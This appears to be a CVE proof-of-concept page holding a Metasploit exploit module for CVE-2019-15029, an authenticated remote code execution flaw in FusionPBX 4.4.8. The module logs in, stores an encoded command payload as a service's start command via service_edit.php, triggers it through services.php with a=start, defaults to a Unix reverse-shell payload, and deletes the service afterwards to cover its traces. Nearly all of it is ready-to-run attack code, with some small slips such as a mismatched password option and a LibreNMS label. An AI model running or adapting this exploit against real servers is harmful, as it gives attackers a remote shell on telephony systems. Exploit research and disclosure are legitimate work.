4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / fusionpbx_services.rb RB
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient


  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FusionPBX v4.4.8 authenticated Remote Code Execution',
      'Privileged'     => true,
      'Description'    => %q{
        FusionPBX 4.4.8 allows an attacker to execute arbitrary systemcommands by submitting a malicious command to the service_edit.php file (which will insert the malicious command into the database).
To trigger the command, one needs to call the services.php file via a GET request with the service id followed by the parameter a=start to execute the stored command.

      },
      'References'     =>
  [
    [ 'CVE', '2019-15029' ],
    [ 'URL', 'https://gist.github.com/mhaskar/7a6a804cd68c7fec4f9d1f5c3507900f' ]
  ],
      'Author'         => [ 'askar (@mohammadaskar2)' ],
      'License'        => MSF_LICENSE,
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          [ 'Linux',
            {
              'Platform' => 'unix',
            },
            'DefaultOptions' =>
            {
              'SSL'     => true,
              'Payload' =>  'cmd/unix/reverse',
            },

          ]
        ],
      'DisclosureDate' => '2019-08-13',
      'DefaultTarget'  => 0
    ))

    register_options(
    [
      OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]),
      OptString.new('USERNAME', [ true, 'Admin username for FusionPBX', '' ]),
      OptString.new('PASSWORD', [ true, 'Admin password for FusionPBX', '' ]),
      OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', true])
    ])

  end




  def exploit
    uri = target_uri.path
    service_name = Rex::Text.rand_text_alpha(6...10)
    first_request = send_request_cgi({
      'method'     => 'POST',
      'uri'        => normalize_uri(uri, '/core/user_settings/user_dashboard.php'),
      'vars_post'  => {
        'username' => datastore['USERNAME'],
        'password' => datastore['Password']
      },
    })

    cookies = first_request.get_cookies
    if first_request && first_request.code == 200
      print_good("Logged In successfully to FusionPBX")
      vprint_status("Checking if services is available")

      services_request = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri(uri, '/app/services/services.php'),
        'cookie' => cookies
      })

    if services_request && services_request.code == 200
        vprint_good("Services page available")
        vprint_status("Injecting payload ..")
        second_request = send_request_cgi({
          'method'   => 'POST',
          'cookie'   => cookies,
          'uri'      => normalize_uri(uri, '/app/services/service_edit.php'),
          'vars_post' => {
            # the service name you want to create
            "service_name" => service_name,
            "service_type"        => "pid",
            "service_data"        => "1",
            "service_cmd_start"   => payload.encoded,
            "service_cmd_stop"    => "Stop",
            "service_description" => "Desc",
            "submit"              => "Save"
          },
        })
        if second_request && second_request.code == 302
          print_good("Service added, retrieving service id ..")

          services_page_request = send_request_cgi({
            'method' => 'GET',
            'uri'    => normalize_uri(uri, '/app/services/services.php'),
            'cookie' => cookies
          })

          sid = services_page_request.get_html_document.search('//td//a[contains(text(), "%s")]' % [service_name]).to_s
          full_sid = sid.split('"')[1].split("=")[1]
          vprint_status("full sid of the service is #{full_sid} with name #{service_name}")
          vprint_status("triggering the shell .. ")
          services_page_request = send_request_cgi({
            'method' => 'GET',
            'uri'    => normalize_uri(uri, "/app/services/services.php?id=#{full_sid}&a=start"),
            'cookie' => cookies
          })

          delete_request = send_request_cgi({
            'method' => 'GET',
            'uri'    => normalize_uri(target_uri.path, "/app/services/service_delete.php?id=#{sid}"),
            'cookie' => cookies
          })

          if delete_request && delete_request.code == 302
            print_good("cleaning up , service has been deleted")
          end

        else
          print_error("Error while adding the service")
        end
    end

    else
      print_error("Wrong Creds")
    end
  end
end